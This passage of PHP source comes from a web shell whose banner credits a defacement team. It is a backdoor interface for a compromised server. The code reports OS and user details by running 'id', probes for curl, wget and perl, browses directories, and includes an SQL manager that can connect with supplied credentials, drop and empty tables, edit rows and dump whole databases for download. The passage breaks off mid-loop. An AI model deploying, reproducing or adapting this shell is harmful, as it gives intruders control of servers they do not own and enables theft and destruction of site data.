  1117. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1118. if (empty($d)) {$d = realpath(".");}
  1119. elseif(realpath($d)) {$d = realpath($d);}
  1120. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1121. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1122. $d = str_replace("\\\\","\\",$d);
  1123. $dispd = htmlspecialchars($d);
  1124. /***** HTML START *****/
  1125. echo $html_start;
  1126. echo "<div class=barheader2><h3>$sh_name</h3>.: No System is Perfectly Safe :. shell upada por g4l0 - utd. team deface </div>\n";
  1127. echo "<table id=pagebar><tr><td width=50%><p>".
  1128. "Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."act=phpini>php.ini</a><br>".
  1129. "$hsafemode<br>".
  1130. "OS : ".php_uname()."<br>";
  1131. if (!$win) { echo "User ID : ".myshellexec("id"); }
  1132. else { echo "User : " . get_current_user(); }
  1133. echo "</p></td>".
  1134. "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
  1135. "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
  1136. if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}
  1137. echo "Freespace : ".disp_freespace($d);
  1138. echo "</p></td></tr>";
  1139. echo "<tr><td colspan=2><p>";
  1140. echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
  1141. " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
  1142. echo "Disabled Functions: ".showdisablefunctions();
  1143. echo "</p></td></tr>";
  1144. echo "<tr><td colspan=2 id=mainmenu>";
  1145. if (count($quicklaunch2) > 0) {
  1146. foreach($quicklaunch2 as $item) {
  1147. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  1148. $item[1] = str_replace("%sort",$sort,$item[1]);
  1149. $v = realpath($d."..");
  1150. if (empty($v)) {
  1151. $a = explode(DIRECTORY_SEPARATOR,$d);
  1152. unset($a[count($a)-2]);
  1153. $v = join(DIRECTORY_SEPARATOR,$a);
  1154. }
  1155. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  1156. echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  1157. }
  1158. }
  1159. echo "</td><tr><td colspan=2 id=mainmenu>";
  1160. if (count($quicklaunch1) > 0) {
  1161. foreach($quicklaunch1 as $item) {
  1162. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  1163. $item[1] = str_replace("%sort",$sort,$item[1]);
  1164. $v = realpath($d."..");
  1165. if (empty($v)) {
  1166. $a = explode(DIRECTORY_SEPARATOR,$d);
  1167. unset($a[count($a)-2]);
  1168. $v = join(DIRECTORY_SEPARATOR,$a);
  1169. }
  1170. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  1171. echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  1172. }
  1173. }
  1174. echo "</td></tr><tr><td colspan=2>";
  1175. echo "<p class=fleft>";
  1176. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  1177. $i = 0;
  1178. foreach($pd as $b) {
  1179. $t = ""; $j = 0;
  1180. foreach ($e as $r) {
  1181. $t.= $r.DIRECTORY_SEPARATOR;
  1182. if ($j == $i) { break; }
  1183. $j++;
  1184. }
  1185. echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
  1186. $i++;
  1187. }
  1188. echo " - ";
  1189. if (is_writable($d)) {
  1190. $wd = TRUE;
  1191. $wdt = "<font color=#00FF00>[OK]</font>";
  1192. echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  1193. }
  1194. else {
  1195. $wd = FALSE;
  1196. $wdt = "<font color=red>[Read-Only]</font>";
  1197. echo "<b>".view_perms_color($d)."</b>";
  1198. }
  1199. ?>
  1200. </p>
  1201. <div class=fright>
  1202. <form method="POST"><input type=hidden name=act value="ls">
  1203. Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
  1204. </form>
  1205. </div>
  1206. </td></tr></table>
  1207. <?php
  1208. //Information Table
  1209. echo "<table id=maininfo><tr><td width=\"100%\">\n";
  1210. //Action
  1211. if ($act == "") { $act = $dspact = "ls"; }
  1212. if ($act == "phpini" ) { get_phpini(); }
  1213. if ($act == "sql") {
  1214. $sql_surl = $surl."act=sql";
  1215. if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  1216. if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  1217. if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  1218. if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  1219. if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  1220. $sql_surl .= "&";
  1221. echo "<h4>Attention! SQL-Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
  1222. "<table>".
  1223. "<tr><td width=\"100%\" colspan=2 class=barheader>";
  1224. if ($sql_server) {
  1225. $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  1226. $err = mysql_smarterror();
  1227. @mysql_select_db($sql_db,$sql_sock);
  1228. if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  1229. }
  1230. else {$sql_sock = FALSE;}
  1231. echo ".: SQL Manager :.<br>";
  1232. if (!$sql_sock) {
  1233. if (!$sql_server) {echo "NO CONNECTION";}
  1234. else {echo "Can't connect! ".$err;}
  1235. }
  1236. else {
  1237. $sqlquicklaunch = array();
  1238. $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  1239. $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  1240. $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  1241. $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  1242. $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  1243. $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  1244. echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
  1245. if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1246. }
  1247. echo "</td></tr><tr>";
  1248. if (!$sql_sock) {
  1249. echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
  1250. echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  1251. }
  1252. else {
  1253. //Start left panel
  1254. if (!empty($sql_db)) {
  1255. ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
  1256. <?php
  1257. $result = mysql_list_tables($sql_db);
  1258. if (!$result) {echo mysql_smarterror();}
  1259. else {
  1260. echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1261. $c = 0;
  1262. while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1263. if (!$c) {echo "No tables found in database.";}
  1264. }
  1265. }
  1266. else {
  1267. ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
  1268. <?php
  1269. $result = mysql_list_dbs($sql_sock);
  1270. if (!$result) {echo mysql_smarterror();}
  1271. else {
  1272. ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
  1273. <?php
  1274. $c = 0;
  1275. $dbs = "";
  1276. while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1277. echo "<option value=\"\">Databases (".$c.")</option>";
  1278. echo $dbs;
  1279. }
  1280. ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
  1281. <?php
  1282. }
  1283. //End left panel
  1284. echo "</td><td width=\"100%\">";
  1285. //Start center panel
  1286. $diplay = TRUE;
  1287. if ($sql_db) {
  1288. if (!is_numeric($c)) {$c = 0;}
  1289. if ($c == 0) {$c = "no";}
  1290. echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1291. if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1292. echo "</b></center>";
  1293. $acts = array("","dump");
  1294. if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1295. elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1296. elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1297. elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1298. elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1299. elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1300. elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1301. elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1302. elseif ($sql_tbl_act == "insert") {
  1303. if ($sql_tbl_insert_radio == 1) {
  1304. $keys = "";
  1305. $akeys = array_keys($sql_tbl_insert);
  1306. foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1307. if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1308. $values = "";
  1309. $i = 0;
  1310. foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1311. if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1312. $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1313. $sql_act = "query";
  1314. $sql_tbl_act = "browse";
  1315. }
  1316. elseif ($sql_tbl_insert_radio == 2) {
  1317. $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1318. $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1319. $result = mysql_query($sql_query) or print(mysql_smarterror());
  1320. $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1321. $sql_act = "query";
  1322. $sql_tbl_act = "browse";
  1323. }
  1324. }
  1325. if ($sql_act == "query") {
  1326. echo "<hr size=\"1\" noshade>";
  1327. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1328. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1329. if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1330. }
  1331. if (in_array($sql_act,$acts)) {
  1332. ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
  1333. <form action="<?php echo $surl; ?>">
  1334. <input type="hidden" name="act" value="sql">
  1335. <input type="hidden" name="sql_act" value="newtbl">
  1336. <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  1337. <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  1338. <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  1339. <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
  1340. <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
  1341. <input type="text" name="sql_newtbl" size="20">
  1342. <input type="submit" value="Create">
  1343. </form></td>
  1344. <td width="30%" height="1"><b>Dump DB:</b>
  1345. <form action="<?php echo $surl; ?>">
  1346. <input type="hidden" name="act" value="sql">
  1347. <input type="hidden" name="sql_act" value="dump">
  1348. <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  1349. <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  1350. <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  1351. <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
  1352. <?php
  1353. if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1354. if ($sql_act == "newtbl") {
  1355. echo "<b>";
  1356. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
  1357. echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1358. }
  1359. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1360. }
  1361. elseif ($sql_act == "dump") {
  1362. if (empty($submit)) {
  1363. $diplay = FALSE;
  1364. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1365. echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1366. $v = join (";",$dmptbls);
  1367. echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1368. if ($dump_file) {$tmp = $dump_file;}
  1369. else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1370. echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1371. echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1372. echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1373. echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1374. echo "</form>";
  1375. }
  1376. else {
  1377. $diplay = TRUE;
  1378. $set = array();
  1379. $set["sock"] = $sql_sock;
  1380. $set["db"] = $sql_db;
  1381. $dump_out = "download";
  1382. $set["print"] = 0;
  1383. $set["nl2br"] = 0;
  1384. $set[""] = 0;
  1385. $set["file"] = $dump_file;
  1386. $set["add_drop"] = TRUE;
  1387. $set["onlytabs"] = array();
  1388. if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1389. $ret = mysql_dump($set);
  1390. if ($sql_dump_download) {
  1391. @ob_clean();
  1392. header("Content-type: application/octet-stream");
  1393. header("Content-length: ".strlen($ret));
  1394. header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1395. echo $ret;
  1396. exit;
  1397. }
  1398. elseif ($sql_dump_savetofile) {
  1399. $fp = fopen($sql_dump_file,"w");
  1400. if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1401. else {
  1402. fwrite($fp,$ret);
  1403. fclose($fp);
  1404. echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1405. }
  1406. }
  1407. else {echo "<b>Dump: nothing to do!</b>";}
  1408. }
  1409. }
  1410. if ($diplay) {
  1411. if (!empty($sql_tbl)) {
  1412. if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1413. $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1414. $count_row = mysql_fetch_array($count);
  1415. mysql_free_result($count);
  1416. $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1417. $tbl_struct_fields = array();
  1418. while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1419. if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1420. if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1421. if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1422. if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1423. $perpage = $sql_tbl_le - $sql_tbl_ls;
  1424. if (!is_numeric($perpage)) {$perpage = 10;}
  1425. $numpages = $count_row[0]/$perpage;
  1426. $e = explode(" ",$sql_order);
  1427. if (count($e) == 2) {
  1428. if ($e[0] == "d") {$asc_desc = "DESC";}
  1429. else {$asc_desc = "ASC";}
  1430. $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1431. }
  1432. else {$v = "";}
  1433. $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1434. $result = mysql_query($query) or print(mysql_smarterror());
  1435. echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1436. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
  1437. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
  1438. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
  1439. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1440. if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1441. if ($sql_tbl_act == "insert") {
  1442. if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1443. if (!empty($sql_tbl_insert_radio)) { } //Not Ready
  1444. else {
  1445. echo "<br><br><b>Inserting row into table:</b><br>";
  1446. if (!empty($sql_tbl_insert_q)) {
  1447. $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1448. $sql_query .= " WHERE".$sql_tbl_insert_q;
  1449. $sql_query .= " LIMIT 1;";
  1450. $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1451. $values = mysql_fetch_assoc($result);
  1452. mysql_free_result($result);
  1453. }
  1454. else {$values = array();}
  1455. echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1456. foreach ($tbl_struct_fields as $field) {
  1457. $name = $field["Field"];
  1458. if (empty($sql_tbl_insert_q)) {$v = "";}
  1459. echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1460. $i++;
  1461. }
  1462. echo "</table><br>";
  1463. echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1464. if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1465. echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1466. }
  1467. }
  1468. if ($sql_tbl_act == "browse") {
  1469. $sql_tbl_ls = abs($sql_tbl_ls);
  1470. $sql_tbl_le = abs($sql_tbl_le);
  1471. echo "<hr size=\"1\" noshade>";
  1472. echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1473. $b = 0;
  1474. for($i=0;$i<$numpages;$i++) {
  1475. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1476. echo $i;
  1477. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1478. if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1479. else {echo "&nbsp;";}
  1480. }
  1481. if ($i == 0) {echo "empty";}
  1482. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1483. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
  1484. echo "<tr>";
  1485. echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1486. for ($i=0;$i<mysql_num_fields($result);$i++) {
  1487. $v = mysql_field_name($result,$i);
  1488. if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1489. else {$s = "a"; $m = "desc";}
  1490. echo "<td>";
  1491. if (empty($e[0])) {$e[0] = "a";}
  1492. if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1493. else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1494. echo "</td>";
  1495. }
  1496. echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1497. echo "</tr>";
  1498. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
  1499. echo "<tr>";
  1500. $w = "";
  1501. $i = 0;
